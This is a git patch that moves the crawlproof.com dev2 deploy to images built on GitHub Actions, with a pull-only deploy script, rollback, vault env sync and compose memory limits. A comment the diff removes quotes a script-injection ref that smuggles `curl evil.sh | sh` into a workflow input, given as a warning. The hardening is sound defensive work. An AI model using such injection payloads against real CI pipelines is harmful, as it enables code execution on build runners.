From 69158fc3c78d2de8c4837b48c087cacf3b835c64 Mon Sep 17 00:00:00 2001 From: riotcoder Date: Mon, 23 Nov 2026 00:22:43 +0000 Subject: [PATCH] ci(deploy-dev2): build the crawlproof.com image on GitHub; dev2 only pulls it The deploy workflow builds the Dockerfile on the Actions runner and pushes ghcr.io/profullstack/crawlproof-web:. ops/selfhost/server/deploy-app.sh gains IMAGE_REPO mode: it reads the job's short-lived GITHUB_TOKEN from ssh stdin before the deploy gate, pulls the tag, runs compose up --no-build, pins the running image as crawlproofcom-app:rollback and returns to it (no rebuild) if health fails. - build args are the three public NEXT_PUBLIC_* values (repository variables) - NEXT_SERVER_ACTIONS_ENCRYPTION_KEY is no longer a build arg: Next 16 reads it from the environment at run time first, and app.env has it - .env.* added to .dockerignore; dispatch refs are validated - the ops/selfhost copies are synced with what runs on dev2 (deploy gate, vault sync, mem limits, networks) Co-Authored-By: Claude Opus 5.5 --- .dockerignore | 2 + .github/workflows/deploy-dev2.yml | 204 +++++++++++++++++---- ops/selfhost/server/deploy-app.sh | 161 +++++++++++++++- ops/selfhost/server/docker-compose.app.yml | 18 ++ 4 files changed, 340 insertions(+), 45 deletions(-) diff --git a/.dockerignore b/.dockerignore index d7d75d68..9523b5e8 100644 --- a/.dockerignore +++ b/.dockerignore @@ -8,3 +8,5 @@ worker/dist *.log .DS_Store README.md +.env.* +!.env.example diff --git a/.github/workflows/deploy-dev2.yml b/.github/workflows/deploy-dev2.yml index 9318bced..94e35f17 100644 --- a/.github/workflows/deploy-dev2.yml +++ b/.github/workflows/deploy-dev2.yml @@ -1,51 +1,179 @@ -name: Deploy to dev2 - -# Replaces Railway's git-push auto-deploy. Railway watched this repo and -# redeployed on every push to main; this does the same thing against dev2. +# Ship every merge to dev2 (crawlproof.com, ops/selfhost/server/deploy-app.sh). +# +# dev2 never compiles anything. The `image` job builds the image here on GitHub's runner +# and pushes it to GHCR tagged with the full commit sha. The `deploy` job runs the site's +# deploy-app.sh over ssh: with IMAGE_REPO in its deploy.env the box only `docker pull`s +# that tag and runs `compose up -d --no-build` (health check and rollback unchanged). A +# missing tag stops the deploy with an error; it never falls back to a local build. # -# The build happens ON dev2, not here: the image bakes NEXT_PUBLIC_* in at -# build time and those values live in /home/anthony/www/crawlproof.com/app.env, -# which never leaves the box. CI only needs to be able to ssh in. +# Pull auth: this job's short-lived GITHUB_TOKEN (packages: read) goes to the box on ssh +# stdin, is used once with a throwaway DOCKER_CONFIG and is never stored. # -# Secrets required: -# DEV2_SSH_KEY private key for the deploy account on dev2 -# DEV2_HOST dev2.profullstack.com -# DEV2_USER anthony -# DEV2_KNOWN_HOSTS output of `ssh-keyscan dev2.profullstack.com` +# The image holds no secrets: the only build args are public NEXT_PUBLIC_* values (repository +# variables), .env* is in .dockerignore, and app.env is mounted on dev2 at run time. +# Same pattern as profullstack/c0mpute #489. +# +# NEXT_SERVER_ACTIONS_ENCRYPTION_KEY is NOT a build arg any more: Next reads it from the +# environment at run time first (encryption-utils: env || manifest), and app.env has it. +name: Deploy to dev2 on: push: - # master, not main — this repo's default branch is master, and a workflow - # watching main would simply never fire. branches: [master] workflow_dispatch: inputs: ref: - description: Git ref to deploy (defaults to the pushed commit) + description: Git ref to deploy (commit id or vX.Y.Z; defaults to the branch head) required: false type: string + deploy: + description: Deploy to dev2 after the image is pushed (false = build and push only) + required: false + type: boolean + default: true +# One deploying run at a time; a newer push replaces a pending one, so an older +# build can never deploy over a newer one. A build-only dispatch (deploy=false) +# stays out of that queue. concurrency: - # One deploy at a time; a newer push should wait rather than race a build - # that is already halfway through `next build` on the box. - group: deploy-dev2 + group: ${{ (github.event_name == 'push' || inputs.deploy) && 'deploy-dev2' || format('crawlproof-web-image-{0}', github.run_id) }} cancel-in-progress: false +permissions: + contents: read + +env: + IMAGE: ghcr.io/profullstack/crawlproof-web + jobs: - deploy: + image: runs-on: ubuntu-latest - timeout-minutes: 45 + timeout-minutes: 60 + permissions: + contents: read + packages: write + outputs: + sha: ${{ steps.rev.outputs.sha }} steps: - # Every ${{ }} below goes through env, never straight into the shell. - # `inputs.ref` is attacker-controllable through workflow_dispatch, and - # interpolating it into a `run:` body is script injection: a ref like - # `main"; curl evil.sh | sh; #` would execute on the runner. - - name: Resolve target revision - id: rev + # ${{ }} values go through env, never straight into a run: body. + - name: Check the requested ref env: REF: ${{ inputs.ref || github.sha }} - run: echo "sha=$REF" >> "$GITHUB_OUTPUT" + # The sha ends up on the box's command line, so anything but a commit id + # or a release tag is refused here. + shell: bash + run: | + if ! [[ "$REF" =~ ^([0-9a-f]{7,40}|v[0-9]+\.[0-9]+\.[0-9]+)$ ]]; then + echo "::error::ref must be a commit id (7-40 hex) or a release tag (vX.Y.Z)" >&2 + exit 1 + fi + + # Public build-time values (Next inlines NEXT_PUBLIC_* into the client bundle): + # repository variables, not secrets, because every browser receives them anyway. + # Change one with `gh variable set NAME -R profullstack/crawlproof.com` and redeploy. + - name: Check the public build variables + env: + NEXT_PUBLIC_SITE_URL: ${{ vars.NEXT_PUBLIC_SITE_URL }} + NEXT_PUBLIC_SUPABASE_URL: ${{ vars.NEXT_PUBLIC_SUPABASE_URL }} + NEXT_PUBLIC_SUPABASE_ANON_KEY: ${{ vars.NEXT_PUBLIC_SUPABASE_ANON_KEY }} + run: | + missing="" + for v in NEXT_PUBLIC_SITE_URL NEXT_PUBLIC_SUPABASE_URL NEXT_PUBLIC_SUPABASE_ANON_KEY; do [ -n "${!v}" ] || missing="$missing $v"; done + [ -z "$missing" ] || { echo "::error::repository variables not set:$missing" >&2; exit 1; } + + - uses: actions/checkout@v5 + with: + ref: ${{ inputs.ref || github.sha }} + persist-credentials: false + + - name: Resolve the full commit id + id: rev + run: | + sha=$(git rev-parse HEAD) + [[ "$sha" =~ ^[0-9a-f]{40}$ ]] || { echo "::error::cannot resolve a commit id" >&2; exit 1; } + echo "sha=$sha" >> "$GITHUB_OUTPUT" + echo "building $IMAGE:$sha" + - uses: docker/login-action@v3 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + # A redeploy or rollback of a sha that was already built pushes nothing new. + - name: Already built? + id: have + env: + SHA: ${{ steps.rev.outputs.sha }} + run: | + if docker buildx imagetools inspect "$IMAGE:$SHA" >/dev/null 2>&1; then + echo "built=true" >> "$GITHUB_OUTPUT"; echo "$IMAGE:$SHA already in the registry" + else + echo "built=false" >> "$GITHUB_OUTPUT" + fi + + - name: Free runner disk + if: steps.have.outputs.built != 'true' + run: | + sudo rm -rf /usr/share/dotnet /usr/local/lib/android /opt/ghc /opt/hostedtoolcache/CodeQL /usr/local/share/boost + df -h / + + - uses: docker/setup-buildx-action@v3 + if: steps.have.outputs.built != 'true' + + # No secrets go into this build: the only build args are public values, + # .env* is not in the context, and app.env is mounted on dev2 at run time. + - name: Build and push + if: steps.have.outputs.built != 'true' + uses: docker/build-push-action@v6 + with: + context: . + file: Dockerfile + platforms: linux/amd64 + push: true + provenance: false + tags: ${{ env.IMAGE }}:${{ steps.rev.outputs.sha }} + build-args: | + NEXT_PUBLIC_SITE_URL=${{ vars.NEXT_PUBLIC_SITE_URL }} + NEXT_PUBLIC_SUPABASE_URL=${{ vars.NEXT_PUBLIC_SUPABASE_URL }} + NEXT_PUBLIC_SUPABASE_ANON_KEY=${{ vars.NEXT_PUBLIC_SUPABASE_ANON_KEY }} + labels: | + org.opencontainers.image.source=https://github.com/${{ github.repository }} + org.opencontainers.image.revision=${{ steps.rev.outputs.sha }} + org.opencontainers.image.url=https://crawlproof.com + org.opencontainers.image.title=crawlproof.com web + audit worker + # Layer cache in the Actions cache (not artifacts, not GHCR storage). + cache-from: type=gha,scope=crawlproof-web + cache-to: type=gha,scope=crawlproof-web,mode=max + + - name: Smoke test the image + if: steps.have.outputs.built != 'true' + env: + SHA: ${{ steps.rev.outputs.sha }} + run: | + docker pull -q "$IMAGE:$SHA" + test "$(docker inspect -f '{{ index .Config.Labels "org.opencontainers.image.revision" }}' "$IMAGE:$SHA")" = "$SHA" + docker run --rm --entrypoint sh "$IMAGE:$SHA" -c 'test -f server.js && test -d worker' + + # Keep the registry small: the newest 15 builds are plenty for rollbacks. + - name: Prune old images + if: steps.have.outputs.built != 'true' + continue-on-error: true + uses: actions/delete-package-versions@v5 + with: + package-name: crawlproof-web + package-type: container + min-versions-to-keep: 15 + + deploy: + needs: image + if: github.event_name == 'push' || inputs.deploy + runs-on: ubuntu-latest + timeout-minutes: 30 + permissions: + contents: read + packages: read + steps: - name: Set up ssh env: SSH_KEY: ${{ secrets.DEV2_SSH_KEY }} @@ -57,25 +185,23 @@ jobs: printf '%s\n' "$KNOWN_HOSTS" > ~/.ssh/known_hosts chmod 644 ~/.ssh/known_hosts - - name: Deploy + # The token rides stdin (never argv, never a file on the box); deploy-app.sh + # reads one line before it queues for a deploy slot. + - name: Deploy (pull the prebuilt image) env: DEV2_USER: ${{ secrets.DEV2_USER }} DEV2_HOST: ${{ secrets.DEV2_HOST }} - SHA: ${{ steps.rev.outputs.sha }} + SHA: ${{ needs.image.outputs.sha }} + GHCR_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | - # The sha is passed as a positional argument rather than being - # spliced into the remote command string, so a hostile ref cannot - # extend the command that runs on dev2 either. - ssh -o BatchMode=yes "$DEV2_USER@$DEV2_HOST" \ + printf '%s\n' "$GHCR_TOKEN" | ssh -o BatchMode=yes "$DEV2_USER@$DEV2_HOST" \ /home/anthony/www/crawlproof.com/deploy-app.sh "$SHA" - - name: Verify the site answers over TLS - # deploy-app.sh already health-checks on loopback; this proves nginx and - # the certificate in front of it are serving the new container too. + - name: Verify the site answers run: | for i in $(seq 1 10); do - code=$(curl -s -o /dev/null -w '%{http_code}' https://crawlproof.com/ || true) - if [ "$code" = 200 ]; then echo "crawlproof.com 200"; exit 0; fi + code=$(curl -s -o /dev/null -w '%{http_code}' "https://crawlproof.com/" || true) + case "$code" in 200) echo "crawlproof.com $code"; exit 0;; esac echo "attempt $i: $code"; sleep 10 done - echo "crawlproof.com never returned 200"; exit 1 + echo "crawlproof.com never answered"; exit 1 diff --git a/ops/selfhost/server/deploy-app.sh b/ops/selfhost/server/deploy-app.sh index d2b81d35..f0e47025 100755 --- a/ops/selfhost/server/deploy-app.sh +++ b/ops/selfhost/server/deploy-app.sh @@ -7,10 +7,35 @@ # deploy-app.sh --rollback go back to the previously deployed sha # deploy-app.sh --status what is deployed and healthy right now # -# Builds happen on the box: the image needs NEXT_PUBLIC_* at build time and -# those come from app.env, which never leaves dev2. +# Prebuilt images (IMAGE_REPO in deploy.env): nothing is built here. The repo's +# deploy workflow builds the Dockerfile on GitHub Actions and pushes +# :; this script pulls that tag, points the app +# service at it (compose `image: ${APP_IMAGE:-crawlproofcom-app:latest}`) and runs +# `compose up --no-build`. A tag that is not in the registry stops the deploy before +# anything running is touched; it never falls back to a local build. Registry auth: +# one line on stdin (the workflow's short-lived GITHUB_TOKEN, read before the deploy +# gate), used once with a throwaway DOCKER_CONFIG and never stored. +# Without IMAGE_REPO the box builds, as before (NEXT_PUBLIC_* from deploy.env). # set -euo pipefail +if [ -z "${DEPLOY_GATED:-}" ] && [ ! -t 0 ] && [ -z "${DEPLOY_REGISTRY_TOKEN:-}" ] \ + && grep -q '^IMAGE_REPO=.' "$(dirname "$(readlink -f "$0")")/deploy.env" 2>/dev/null; then + DEPLOY_REGISTRY_TOKEN="" + IFS= read -r -t 5 DEPLOY_REGISTRY_TOKEN || true + [[ $DEPLOY_REGISTRY_TOKEN =~ ^[A-Za-z0-9_.-]{20,400}$ ]] || DEPLOY_REGISTRY_TOKEN="" + export DEPLOY_REGISTRY_TOKEN +fi +# Three deploys at a time on this box (@profullstack/deploy deploy-gate): a merge +# that lands with many others queues for a slot instead of building with all of them. +# No gate installed, a --status call, or already inside the gate: carry on as before. +if [ -z "${DEPLOY_GATED:-}" ] && [ "${1:-}" != --status ]; then + for gate in /usr/local/bin/deploy-gate "$HOME/.local/bin/deploy-gate"; do + [ -x "$gate" ] && exec "$gate" --name "$(basename "$(dirname "$(readlink -f "$0")")")" -- "$0" "$@" + done +fi + +REGISTRY_TOKEN=${DEPLOY_REGISTRY_TOKEN:-} +unset DEPLOY_REGISTRY_TOKEN ROOT=${ROOT:-/home/anthony/www/crawlproof.com} APP_DIR="$ROOT/app" @@ -24,6 +49,38 @@ die() { printf 'ERROR: %s\n' "$*" >&2; exit 1; } compose() { (cd "$ROOT" && docker compose -f docker-compose.app.yml --env-file "$ROOT/deploy.env" "$@"); } +IMAGE_REPO=${IMAGE_REPO:-$(grep -E '^IMAGE_REPO=' "$ROOT/deploy.env" 2>/dev/null | tail -n1 | cut -d= -f2- || true)} +ROLLBACK_IMAGE=crawlproofcom-app:rollback + +# Prebuilt mode: make : present locally (reuse, else pull with the +# stdin token in a throwaway DOCKER_CONFIG so no credential is written to this box). +pull_image() { + local ref=$1 cfg rc=1 i + if docker image inspect "$ref" >/dev/null 2>&1; then log "Image $ref already on this box"; return 0; fi + cfg=$(umask 077; mktemp -d "$ROOT/.docker-pull.XXXXXX") + if [ -n "$REGISTRY_TOKEN" ]; then + printf '%s' "$REGISTRY_TOKEN" | DOCKER_CONFIG=$cfg docker login "${IMAGE_REPO%%/*}" \ + -u github-actions --password-stdin >/dev/null 2>&1 \ + || log "Registry login with the stdin token failed; trying an anonymous pull" + fi + for i in 1 2 3; do + log "Pulling $ref${REGISTRY_TOKEN:+ (authenticated)} (try $i)" + if DOCKER_CONFIG=$cfg docker pull -q "$ref"; then rc=0; break; fi + sleep $((i * 10)) + done + rm -rf "$cfg" + return $rc +} + +# Prebuilt mode: keep only the running, the previous and the :rollback images. +prune_images() { + local keep=" $SHA ${CURRENT:-} " tag + for tag in $(docker images "$IMAGE_REPO" --format '{{.Tag}}' 2>/dev/null); do + case $keep in *" $tag "*) continue ;; esac + docker image rm "$IMAGE_REPO:$tag" >/dev/null 2>&1 || true + done +} + health() { local i for i in $(seq 1 "$((HEALTH_TIMEOUT / 5))"); do @@ -77,11 +134,96 @@ SHA=$(git -C "$APP_DIR" rev-parse --verify --quiet "origin/$TARGET^{commit}" \ git -C "$APP_DIR" checkout --detach "$SHA" log "At $SHA" -log "Building" -compose build app +# Secrets from logicsrc (same as the shared dev2 template): VAULT=-- +# in deploy.env; every deploy overlays the vault onto app.env before building. +if [ -z "${VAULT:-}" ] && [ -f "$ROOT/deploy.env" ]; then + eval "$(grep -E '^(VAULT|VAULT_TEAM|VAULT_SKIP)=' "$ROOT/deploy.env" || true)" +fi +sync_env_from_vault() { + [ -n "${VAULT:-}" ] || return 0 + local bin team project env tmp + bin=$(command -v logicsrc || echo "$HOME/.local/bin/logicsrc") + [ -x "$bin" ] || { log "VAULT=$VAULT but no logicsrc CLI on this box: app.env unchanged"; return 0; } + team=${VAULT_TEAM:-profullstack} + project=${VAULT%--*}; env=${VAULT##*--} + [ -n "$project" ] && [ "$project" != "$VAULT" ] || { log "VAULT must be --, got '$VAULT': app.env unchanged"; return 0; } + local key="${LOGICSRC_API_KEY:-}" + if [ -z "$key" ] && [ -r "$HOME/.config/logicsrc/deploy-api-key" ]; then key=$(cat "$HOME/.config/logicsrc/deploy-api-key"); fi + tmp=$(umask 077; mktemp "$ROOT/.vault-env.XXXXXX") + pull() { (cd "$ROOT" && "$@" "$bin" teams pull "$team" "$project" "$env" --env "$tmp" --format json >/dev/null 2>&1) && [ -s "$tmp" ]; } + if { [ -n "$key" ] && pull env LOGICSRC_API_KEY="$key"; } || pull env -u LOGICSRC_API_KEY; then + : + else + rm -f "$tmp" + log "Could not pull vault $team/$VAULT: app.env unchanged" + return 0 + fi + [ -f "$ROOT/app.env" ] || : > "$ROOT/app.env" + local merged + merged=$(umask 077; mktemp "$ROOT/.app-env.XXXXXX") + # awk: first file is the vault, second app.env. Rewrite app.env in place order, + # then append the vault keys it did not have. + awk -v changes="$merged.changes" -v skip=" ${VAULT_SKIP:-} " ' + function key(l) { sub(/^[ \t]*export[ \t]+/, "", l); return substr(l, 1, index(l, "=") - 1) } + function val(l) { v = substr(l, index(l, "=") + 1); gsub(/^[ \t]+|[ \t]+$/, "", v); return v } + NR == FNR { + if ($0 ~ /^[ \t]*#/ || index($0, "=") == 0) next + k = key($0); v = val($0) + # A multi-line value (a PEM) pushed into the vault leaves continuation + # lines that look like KEY=VALUE; docker rejects them, so drop any + # "key" that is not a valid environment variable name. + if (k !~ /^[A-Za-z_][A-Za-z0-9_]*$/) next + if (index(skip, " " k " ")) next + if (v == "" || v == "\"\"" || v == "\x27\x27") next + vault[k] = $0; order[++n] = k; next + } + { + if ($0 !~ /^[ \t]*#/ && index($0, "=") > 0 && key($0) ~ /^[A-Za-z_][A-Za-z0-9_]*$/) { + k = key($0); seen[k] = 1 + if (k in vault) { + if (vault[k] != $0) print "changed " k > changes + print vault[k]; next + } + } + print + } + END { + for (i = 1; i <= n; i++) if (!(order[i] in seen)) { print vault[order[i]]; print "added " order[i] > changes } + } + ' "$tmp" "$ROOT/app.env" > "$merged" + rm -f "$tmp" + if [ -s "$merged.changes" ]; then + (umask 077; cp "$ROOT/app.env" "$ROOT/app.env.prev"); chmod 600 "$ROOT/app.env.prev" + chmod 600 "$merged" + mv "$merged" "$ROOT/app.env" + log "app.env from vault $VAULT: $(tr '\n' ' ' < "$merged.changes")" + else + rm -f "$merged" + log "app.env already matches vault $VAULT" + fi + rm -f "$merged.changes" +} + +sync_env_from_vault + +UP_FLAGS=() +if [ -n "$IMAGE_REPO" ]; then + # Prebuilt: pull CI's image for this exact commit. No build on this box, ever. + [[ $SHA =~ ^[0-9a-f]{40}$ ]] || die "prebuilt mode needs a full commit id, got '$SHA'" + export APP_IMAGE="$IMAGE_REPO:$SHA" + UP_FLAGS=(--no-build) + pull_image "$APP_IMAGE" || die "image $APP_IMAGE is not in the registry (CI has not pushed it, or the pull was refused); this box does not build. The running stack was not touched." + log "Using prebuilt $APP_IMAGE" + # Pin what is running now, so a failed health check goes back to it without a build. + OLD_ID=$(docker inspect -f '{{.Image}}' crawlproof-app 2>/dev/null || true) + [ -z "$OLD_ID" ] || docker tag "$OLD_ID" "$ROLLBACK_IMAGE" +else + log "Building" + compose build app +fi log "Starting" -compose up -d +compose up -d "${UP_FLAGS[@]}" if health; then log "Healthy" @@ -89,12 +231,19 @@ if health; then echo "DEPLOYED_SHA=$SHA" echo "PREVIOUS_SHA=$CURRENT" echo "DEPLOYED_AT=$(date -u +%FT%TZ)" + [ -z "${APP_IMAGE:-}" ] || echo "DEPLOYED_IMAGE=$APP_IMAGE" } > "$STATE" compose ps + [ -z "$IMAGE_REPO" ] || prune_images else log "UNHEALTHY after ${HEALTH_TIMEOUT}s — last 60 lines:" compose logs --tail 60 app || true - if [ -n "$CURRENT" ]; then + if [ -n "$IMAGE_REPO" ] && [ -n "${OLD_ID:-}" ]; then + log "Restoring the previous image ($CURRENT)" + [ -z "$CURRENT" ] || git -C "$APP_DIR" checkout --detach "$CURRENT" + APP_IMAGE=$ROLLBACK_IMAGE compose up -d --no-build + health && log "Restored to $CURRENT" || log "ROLLBACK ALSO UNHEALTHY — site is down" + elif [ -n "$CURRENT" ]; then log "Restoring $CURRENT" git -C "$APP_DIR" checkout --detach "$CURRENT" compose build app && compose up -d diff --git a/ops/selfhost/server/docker-compose.app.yml b/ops/selfhost/server/docker-compose.app.yml index cb241d64..a2419bbf 100644 --- a/ops/selfhost/server/docker-compose.app.yml +++ b/ops/selfhost/server/docker-compose.app.yml @@ -21,10 +21,16 @@ services: NEXT_PUBLIC_SUPABASE_URL: ${NEXT_PUBLIC_SUPABASE_URL} NEXT_PUBLIC_SUPABASE_ANON_KEY: ${NEXT_PUBLIC_SUPABASE_ANON_KEY} NEXT_SERVER_ACTIONS_ENCRYPTION_KEY: ${NEXT_SERVER_ACTIONS_ENCRYPTION_KEY} + # Prebuilt mode: deploy-app.sh sets APP_IMAGE=ghcr.io/profullstack/crawlproof-web: + # (built on GitHub Actions); the build section is only for an emergency hand build. + image: ${APP_IMAGE:-crawlproofcom-app:latest} restart: unless-stopped + mem_limit: 3g + memswap_limit: 3g env_file: - ./app.env environment: + NODE_OPTIONS: "--max-old-space-size=1024" # dev2-site limits PORT: 3000 WORKER_PORT: 9080 WORKER_URL: http://127.0.0.1:9080 @@ -32,6 +38,11 @@ services: NODE_ENV: production ports: - "127.0.0.1:${APP_PORT:-3100}:3000" + networks: + - default + # ad-generator-agent: narration via the c0mpute speech gateway + # (alias c0mpute-speech-gateway:8787 on the Infernet network). + - infernet extra_hosts: # Lets the app reach the Supabase gateway and Redis on the host without # putting both compose projects on one network. @@ -50,6 +61,8 @@ services: container_name: crawlproof-redis image: redis:7-alpine restart: unless-stopped + mem_limit: 1g + memswap_limit: 1g command: ["redis-server", "--requirepass", "${REDIS_PASSWORD}", "--appendonly", "yes"] volumes: - ./volumes/redis:/data @@ -67,3 +80,8 @@ services: logging: driver: json-file options: { max-size: "50m", max-file: "3" } + +networks: + infernet: + external: true + name: infernetprotocolcom_default